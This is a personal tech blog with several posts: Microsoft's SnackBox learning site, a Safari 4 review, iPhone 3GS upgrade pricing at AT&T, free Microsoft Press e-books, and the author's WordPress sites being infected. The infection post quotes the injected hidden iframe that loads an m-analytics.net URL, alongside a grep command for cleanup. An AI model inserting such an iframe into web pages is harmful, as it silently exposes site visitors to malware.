Whoever said there’s no such thing as a free lunch: Microsoft Learning SnackBox!

 

Snackbox!

Thanks to Mike Mulcare for announcing this on born to learn!

So, what exactly is SnackBox?

Welcome to SnackBox

Learning Snacks are short, interactive learning presentations about Microsoft technologies and include various media, such as animations and recorded demos. Are you an expert? Be part of this growing and vibrant community – create your own Learning Snack and share it with the world here!

Well, that’s a verbatim explanation taken from the site, but what does that really mean?

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SnackBox Highlights

  • Provides an easy way to browse and find Microsoft Learning and community- created snacks. 
  • Enables the Microsoft Learning Community to easily create snacks using the LCDS and Snack Converter tool.
  • Distinguishes between community produced and Microsoft produced Snacks
  • Allows users to rate snacks
  • Allows us to highlight top community contributors

Alright, enough copy and paste.  Are you seriously telling me that Microsoft has created a simple way to not only create content using LCDS to share with the Learning and Education community, but respectively they have also created a venue for sharing this information with the world, including featured content? If that is the case, woohoo! :)

Though seriously, I highly encourage you to check this out, whether you’re a creator, learner or looking to be a creator/learner/educator/trainer and beyond :)

Is Safari 4 a viable browser replacement? (Maybe?)

Wow, you should have read my original ‘”Safari 3 a viable replacement” or my “Will IE8 replace Chrome for me” post, which I never published.  It sat in drafts as both of those browsers crashed and burned under the slightest hint of pressure.   To sum it up: Safari 3 crashed after I opened 2 tabs, and IE8 never ‘suggested’ anything for me, let alone not remembering even 5% of my passwords.  But the story is slightly different with Safari 4!

Let’s start with one feature which has been there for awhile

Top Sites!

Top Sites!

It looks cool and all, and it’s very similar to the Chrome version of a similar feature, but for what it’s worth.. it looks fine and is editable to allow you to remove sites you don’t think are ‘top’ sites, like pictures of kittens in rainboots or something.  Nonetheless, a ‘usable’ feature.

The next lovely feature is support for Tab-Preview that is available in Win7 (chrome doesn’t support Tab Preview :)) So you get a view similar to this below.  Once you exceed 15 tabs though, it turns into the devil and looks like the second image.

Tab Preview

Not so Tab Preview

But there is more to Safari than simply pretty looks and colors.  It also has some functionality! (Similar to Chrome).  One of those features is URL completion.   Which translates into ‘I type part of the site I want to visit and it suggests it as the default one, so I can simply hit enter’ not the IE world of things by “Do you mean this, and scroll down to find it?” Which I say ‘hellz no!” I visit the same sites hundreds of times a day, and I don’t want to have to press down, that’s two key strokes too many!

The fact that it hasn’t crashed yet, is very pleasing considering I’ve switched to a full on ‘use it for everything’ model.  And by everything I mean “Not for NetFlix because the bastards don’t support it even though they claim to”.  I still need to check it for WebEx support as well as Oracle support so I can do the rest of my work using it…. :)

Memory and CPU usage have been kind of suckish, but considering I would have 3million chrome processes before, it’s not too bad.

Safari Memory and CPU usage

Grammar/Spelling checking seems pretty cool!

Spelling and Grammars!

One function which doesn’t work at the moment.. typing searches into the URL bar results in… not a search, but instead trying to open whatever ridiculous search term you had entered!

That results in me having to hit enter ‘twice’ in order to get my search term searched!

WTF? Safari doesn't know how to search

That’s all I’ll say about it for now! We’ll see how it lasts, considering I’ve used Chrome almost exclusively for the past… since it was released in early beta.. it will be an interesting trial and experience.  One I won’t be shy to throw away if it’s not meeting my particular needs :)   So, look forward to future ‘raving’ or ‘destroying’ of this particular browser, depending upon how it is seen fit.  Oh, and it doesn’t let you view saved passwords like Chrome, which is a major negative in my book. It knows they’re there, so expose them to me, kthxbye!

Apple to AT&T “Hey, tell your subscribers to cancel and renew service, kthxbye!”

WTF? Apple wouldn’t seriously say that to AT&T would they?!

I’m sure you’ve all seen this chart by now!

iPhone 3G S iPhone 3G New and Qualified Customers $199 (16GB) $299 (32GB) $99 (8GB) $149 (16GB) Early Upgrade	$399 (16GB) $499 (32GB)	$299 (8GB) $349 (16GB) No Commitment	$599 (16GB) $699 (32GB)	$499 (8GB) $549 (16GB)

What they don’t share with you though, is this particular version of the Chart

iPhone 3G S iPhone 3G New and Qualified Customers $199 (16GB) $299 (32GB) $99 (8GB) $149 (16GB) Early Upgrade	$399 (16GB) $499 (32GB)	$299 (8GB) $349 (16GB) No Commitment	$599 (16GB) $699 (32GB)	$499 (8GB) $549 (16GB) Cancel and obtain new service	$175 Cancel + New Cost (374, 474)	$175 Cancel + New Cost (274, 324)

Wait a minute, I don’t agree with that chart at all! It’s not $175 to cancel if you have existing service, it can’t be cheaper than it is to “Upgrade” as Apple has supplied pricing, can it be?

You’re right, I’m absolutely sorry for misleading you.  You are correct, AT&T recently introduced Prorating Cancellation Fees! “AT&T to prorate cancellation fees” So yes, for me at the moment it only costs $150 to cancel which means I have even GREATER Incentive to cancel and obtain new service.

All of this assumes you’d be willing to go so far as to cancel your service in order to obtain the latest and greatest at a lower price.  Yes, that is absolutely correct.  Because I don’t feel I should be penalized to upgrade to the latest hardware by being not only an early adopter/innovator but also by having brand loyalty to Apple and AT&T.

Furthermore, to have ‘paths’ which exist such as making it cheaper to cancel or to have you ‘transfer of service’ to someone else are just ridiculous.

Allow me to elaborate on your “other option”

I recently spoke with the AT&T Retention team and they said that Apple really put the screws to them, putting them in this position whereby it IS in fact cheaper to cancel and get new service than it is to simply provide an honorable upgrade path, so they do have as a semi-out the “Transfer of Service” plan as detailed below. (Taken from Pg13 of Reference Guide)

5.2.
Transfer of Service
Under certain circumstances you can transfer the billing responsibility on an account from the business customer to an End User and vice versa. This transfer of service usually requires that the line move to a new BAN# and a new FAN#.
Key Contacts call the Key Contact Center at:
866-ATT-SMBZ or
866-288-7629
Mon-Fri 7 am – 12 am Eastern
Sat: 9 am – 8 pm Eastern

And all of the naysayers who say that I shouldn’t go so far as to waste AT&T’s resources well beyond the extra $$ so as while the ‘front-end’ cost appears lower, in the long-term as person after person would opt to cancel instead of pony up the $200, that AT&T’s operational costs would well exceed the $200? Well, I say “suck it up, and allow me the upgrade as a Qualified Customer” because frankly I shouldn’t have to jump through hoops, and neither should AT&T.

So to sum it up, what I’m seeing is very clearly this.   Apple (not AT&T) is making me cancel my service in the effort to upgrade to the new Apple 3GS iPhone.  Infact, the incentives to cancel are clearly far better than the reasons to perform an “Early” upgrade.  I’m sorry, but the “Qualified” customers option should include people who are loyal to the brand, to the solution and to the industry; instead of simply saying “Hey you guy who buys our products? Suck on this and pay an extra $200, kthxbye!”

Did you get hit with the m-analytics hack?

I received an email the other day that I was affected malware! (WTF?!) Thanks Zuzia for the heads up! As I didn’t notice it since I was offline for a bit! :)

I did a little searching on this and all I could find was this! Help With WordPress Vulnerability and the problem is more or less indicated by the presence of the following code in your html and php files!

<iframe src="https://m-analytics.net/qaqa/?daf02d89f0bb66c3b4a9ff31da01e10a" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

To tell you the truth, this is pretty damn annoying! I’m still trying to track down the cause because it only hit me here (at Bluehost) where I host 7 blogs (Yes all 7 were hit) however at my other hosting service (iPower) where I host 3 blogs, I was not affected.  So I blame Bluehost! :)

Some tips (if you have shell access) to fix this, is to:

grep m-ana * –r

Then go through one by one and clean up your fricking files (omfg this sucks!) but I don’t really have the time to write a script for it, nor the scripting skillz around that ;)

So, if you’ve been affected, clean it up! If you haven’t be, hooray!

Oh, and sorry for anyone annoyed by the ‘malware site’ message popping up when visiting any of my sites!

June MSPress Free Anniversary E-Books available until June24th

Microsoft Press 25th Anniversary “Free E-Book of the Month” Offers
This will be our last month to celebrate the 25th anniversary of Microsoft Press with a free e-book offer. This monthly offer can be found in the top right corner of this monthly newsletter. It expires on June 24, 2009, so download the e-books today:

Programming for Unified Communications with Microsoft Office Communications Server 2007 R2
By Rui Maximo, Kurt De Ding, Vishwa Ranjan, Chris Mayo, Oscar Newkerk, and the Microsoft Office Communications Server team
Microsoft Office Communications Server 2007 R2 Resource Kit
By Rui Maximo, Rick Kingslan, Rajesh Ramanathan, and Nirav Kamdar with the Microsoft Office Communications Server Team

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So, get out there and download the last month of free ebooks!